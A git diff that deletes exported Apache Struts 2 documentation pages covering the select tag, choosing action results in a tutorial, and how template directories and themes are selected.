-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>select</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="tag-developers-guide.html">Tag Developers Guide</a>&nbsp;&gt;&nbsp;<a href="struts-tags.html">Struts Tags</a>&nbsp;&gt;&nbsp;<a href="tag-reference.html">Tag Reference</a>&nbsp;&gt;&nbsp;<a href="ui-tag-reference.html">UI Tag Reference</a>&nbsp;&gt;&nbsp;<a href="select.html">select</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">select</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14127">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14127">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14127">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14127">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14127">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14127">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><div class="confluence-information-macro confluence-information-macro-note"><span class="aui-icon aui-icon-small aui-iconfont-warning confluence-information-macro-icon"></span><div class="confluence-information-macro-body"><p>Please make sure you have read the <a shape="rect" href="tag-syntax.html">Tag Syntax</a> document and understand how tag attribute syntax works.</p></div></div>
-
-<h2 id="select-Description">Description</h2>
-
-
-<p>Render an HTML input tag of type select.</p>
-
-
-<h2 id="select-Parameters">Parameters</h2>
-
-<p><table width="100%"><tr><td colspan="6" rowspan="1"><h4>Dynamic Attributes Allowed:</h4> true</td></tr><tr><td colspan="6" rowspan="1">&#160;</td></tr><tr><th align="left" colspan="1" rowspan="1" valign="top"><h4>Name</h4></th><th align="left" colspan="1" rowspan="1" valign="top"><h4>Required</h4></th><th align="left" colspan="1" rowspan="1" valign="top"><h4>Default</h4></th><th align="left" colspan="1" rowspan="1" valign="top"><h4>Evaluated</h4></th><th align="left" colspan="1" rowsp [...]
-
-<h2 id="select-Examples">Examples</h2>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<script class="brush: plain; gutter: false; theme: Confluence" type="syntaxhighlighter"><![CDATA[
-
-Note: For any of the tags that use lists (select probably being the most ubiquitous), which uses the OGNL list
-notation (see the &quot;months&quot; example above), it should be noted that the map key created (in the months example,
-the &#39;01&#39;, &#39;02&#39;, etc.) is typed. &#39;1&#39; is a char, &#39;01&#39; is a String, &quot;1&quot; is a String. This is important since if
-the value returned by your &quot;value&quot; attribute is NOT the same type as the key in the &quot;list&quot; attribute, they
-WILL NOT MATCH, even though their String values may be equivalent. If they don&#39;t match, nothing in your list
-will be auto-selected.
-
-]]></script>
-</div></div>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<script class="brush: xml; gutter: false; theme: Confluence" type="syntaxhighlighter"><![CDATA[
-
-&lt;s:select label=&quot;Pets&quot;
-       name=&quot;petIds&quot;
-       list=&quot;petDao.pets&quot;
-       listKey=&quot;id&quot;
-       listValue=&quot;name&quot;
-       multiple=&quot;true&quot;
-       size=&quot;3&quot;
-       required=&quot;true&quot;
-       value=&quot;%{petDao.pets.{id}}&quot;
-/&gt;
-
-&lt;s:select label=&quot;Months&quot;
-       name=&quot;months&quot;
-       headerKey=&quot;-1&quot; headerValue=&quot;Select Month&quot;
-       list=&quot;#{&#39;01&#39;:&#39;Jan&#39;, &#39;02&#39;:&#39;Feb&#39;, [...]}&quot;
-       value=&quot;selectedMonth&quot;
-       required=&quot;true&quot;
-/&gt;
-
-// The month id (01, 02, ...) returned by the getSelectedMonth() call
-// against the stack will be auto-selected
-
-]]></script>
-</div></div></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/selecting-results.html b/content/docs/selecting-results.html
deleted file mode 100644
index 5373019..0000000
--- a/content/docs/selecting-results.html
+++ /dev/null
@@ -1,237 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Selecting Results</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="tutorials.html">Tutorials</a>&nbsp;&gt;&nbsp;<a href="bootstrap.html">Bootstrap</a>&nbsp;&gt;&nbsp;<a href="selecting-results.html">Selecting Results</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Selecting Results</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=13886">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=13886">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=13886">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=13886">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=13886">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=13886">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p>In the <a shape="rect" href="coding-actions.html">Coding Actions</a> lesson, we created a Logon class that tests for input. In the <em>Selecting Results</em> lesson, we act on the outcome of that test.</p>
-
-<h2 id="SelectingResults-Selectingan&quot;Input&quot;Result">Selecting an "Input" Result</h2>
-
-<p>After the Action processes a request, a result is selected to provide the response. A result may simply forward to an HTML page, a JavaServer page, a FreeMaker or Velocity template, or the result might construct a PDF or some other complex report (like JasperReports). There may be multiple results available to an action mapping. To indicate which one to select, the Action class returns a name corresponding to the appropriate result.</p>
-
-<h3 id="SelectingResults-TheCode">The Code</h3>
-
-<div class="code panel pdl" style="border-style: solid;border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;border-bottom-style: solid;"><b>struts.xml</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-&lt;action name="Logon" class="tutorial.Logon"&gt;
-  &lt;result type="redirectAction"&gt;Menu&lt;/result&gt;
-  &lt;result name="input"&gt;/Logon.jsp&lt;/result&gt;
-&lt;/action&gt;
-</pre>
-</div></div>
-
-<h3 id="SelectingResults-HowTheCodeWorks">How The Code Works</h3>
-
-<ul><li>If we enter a username and password into the form, the Logon Action will return "success".
-	<ul><li>"success" is the default result code, so the framework will use the "Menu" action as response. (Which we haven't written yet.)</li></ul>
-	</li><li>If we do not enter both credentials, the Logon Action will return "input", and the framework will use the Logon.jsp as the response.</li></ul>
-
-
-<p>In the <a shape="rect" href="hello-world.html">Hello World</a> lesson, our results used the default type, <code>Dispatcher</code>. The <code>Dispatcher</code> forwards to another web resource. Other kinds of views can be used by specifying a different result type.</p>
-
-<p>The Logon mapping uses a different return type for "success" (the default result code). The <code>redirectAction</code> result type takes the name of an Action (as configured in the <code>struts.xml</code> file) as a parameter, and then issues a client-side redirect to the new action. As a result, the URI on the browser's location bar will change.</p>
-
-<h2 id="SelectingResults-UsingaStubPage">Using a Stub Page</h2>
-
-<p>As we develop web applications, we often need to make forward references &#8211; we need to refer to an action we haven't written yet. For example, in the first part of the lesson, the next step is to open the "Menu" page. If we Logon successfully, there will be no where to go, since "Menu" doesn't exist yet.</p>
-
-<p>One way to work around this problem is to create a stub "Menu" page. </p>
-
-<h3 id="SelectingResults-TheCode.1">The Code</h3>
-
-<div class="code panel pdl" style="border-style: solid;border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;border-bottom-style: solid;"><b>Missing.jsp</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-&lt;html&gt;
-&lt;head&gt;&lt;title&gt;Missing Feature&lt;/title&gt;&lt;/head&gt;
-
-&lt;body&gt;
-&lt;p&gt;
-    This feature is under construction.
-    Please try again in the next iteration.
-&lt;/p&gt;
-&lt;/body&gt;
-&lt;/html&gt;
-</pre>
-</div></div>
-
-<h3 id="SelectingResults-HowtheCodeWorks">How the Code Works</h3>
-
-<ul><li>When the Login class returns "Menu", the framework will match it to our default wildcard mapping.</li></ul>
-
-
-<ul><li>The framework will return the stub "Menu.jsp" for now.</li></ul>
-
-
-<div class="confluence-information-macro confluence-information-macro-tip"><span class="aui-icon aui-icon-small aui-iconfont-approve confluence-information-macro-icon"></span><div class="confluence-information-macro-body"><p>If you are not using wildcards, another way to inject a "missing" page would be to specify a <code>&lt;default-action-ref&gt;</code> element</p></div></div>
-
-<h2 id="SelectingResults-IncludingaMissingPage">Including a Missing Page </h2>
-
-<p>If you are building an application page by page, it can be worthwhile to setup a standard "Missing" page, and then include it from your stubs. </p>
-
-<h3 id="SelectingResults-TheCode.2">The Code </h3>
-
-<div class="code panel pdl" style="border-style: solid;border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;border-bottom-style: solid;"><b>Menu.jsp</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-&lt;%@ taglib prefix="s" uri="/struts-tags" %&gt;
-&lt;s:include value="Missing.jsp" /&gt; 
-</pre>
-</div></div>
-
-<h3 id="SelectingResults-HowtheCodeWorks.1">How the Code Works</h3>
-
-<ul><li>When the Menu.jsp renders, it will include the content of the standard Missing.jsp.</li></ul>
-
-
-<h2 id="SelectingResults-WhattoRemember">What to Remember</h2>
-
-<p>The framework offers a variety of result types. An Action can select the appropriate result by name, without actually knowing what result type will be rendered. </p>
-
-<p><img class="emoticon emoticon-light-on" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/lightbulb_on.png" data-emoticon-name="light-on" alt="(lightbulb)"> For more, see <a shape="rect" href="result-types.html">Result Types</a> in the Core Developers Guide.</p>
-
-<div class="table-wrap"><table class="confluenceTable"><tbody><tr><th colspan="1" rowspan="1" class="confluenceTh"><p> Next </p></th><td colspan="1" rowspan="1" class="confluenceTd"><p> <a shape="rect" href="validating-input.html">Validating Input</a> </p></td></tr><tr><th colspan="1" rowspan="1" class="confluenceTh"><p> Prev </p></th><td colspan="1" rowspan="1" class="confluenceTd"><p> <a shape="rect" href="coding-actions.html">Coding Actions</a> </p></td></tr></tbody></table></div></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/selecting-template-directory.html b/content/docs/selecting-template-directory.html
deleted file mode 100644
index 8ce0dc3..0000000
--- a/content/docs/selecting-template-directory.html
+++ /dev/null
@@ -1,144 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Selecting Template Directory</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="tag-developers-guide.html">Tag Developers Guide</a>&nbsp;&gt;&nbsp;<a href="struts-tags.html">Struts Tags</a>&nbsp;&gt;&nbsp;<a href="ui-tags.html">UI Tags</a>&nbsp;&gt;&nbsp;<a href="themes-and-templates.html">Themes and Templates</a>&nbsp;&gt;&nbsp;<a href="selecting-template-directory.html">Selecting Template Directory</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Selecting Template Directory</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14227">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14227">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14227">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14227">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14227">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14227">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p>Template directory can be selected using several different rules, in this order:</p>
-<ol><li>The <code>templateDir</code> attribute on the specific tag</li><li>The page-scoped attribute named <code>templateDir</code></li><li>The request-scoped attribute named <code>templateDir</code></li><li>The session-scoped attribute named <code>templateDir</code></li><li>The application-scoped attribute named <code>templateDir</code></li><li>The <code>struts.ui.templateDir</code> property in <a shape="rect" href="strutsproperties.html">struts.properties</a> (defaults to <em>template< [...]
-
-
-<h2 id="SelectingTemplateDirectory-Tips">Tips</h2>
-
-<ul><li>To change the template directory for the entire application, modify the <a shape="rect" href="strutsproperties.html">struts.properties</a>.</li></ul></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/selecting-themes.html b/content/docs/selecting-themes.html
deleted file mode 100644
index 0c33e36..0000000
--- a/content/docs/selecting-themes.html
+++ /dev/null
@@ -1,147 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Selecting Themes</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="tag-developers-guide.html">Tag Developers Guide</a>&nbsp;&gt;&nbsp;<a href="struts-tags.html">Struts Tags</a>&nbsp;&gt;&nbsp;<a href="ui-tags.html">UI Tags</a>&nbsp;&gt;&nbsp;<a href="themes-and-templates.html">Themes and Templates</a>&nbsp;&gt;&nbsp;<a href="selecting-themes.html">Selecting Themes</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Selecting Themes</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14016">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14016">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14016">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14016">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14016">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14016">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p>Themes can be selected using several different rules, in this order:</p>
-
-<ol><li>The <code>theme</code> attribute on the specific tag</li><li>The <code>theme</code> attribute on a tag's surrounding <a shape="rect" href="form.html">form</a> tag</li><li>The page-scoped attribute named "theme"</li><li>The request-scoped attribute named "theme"</li><li>The session-scoped attribute named "theme"</li><li>The application-scoped attribute named "theme"</li><li>The <code>struts.ui.theme</code> property in <a shape="rect" href="strutsproperties.html">struts.properties< [...]
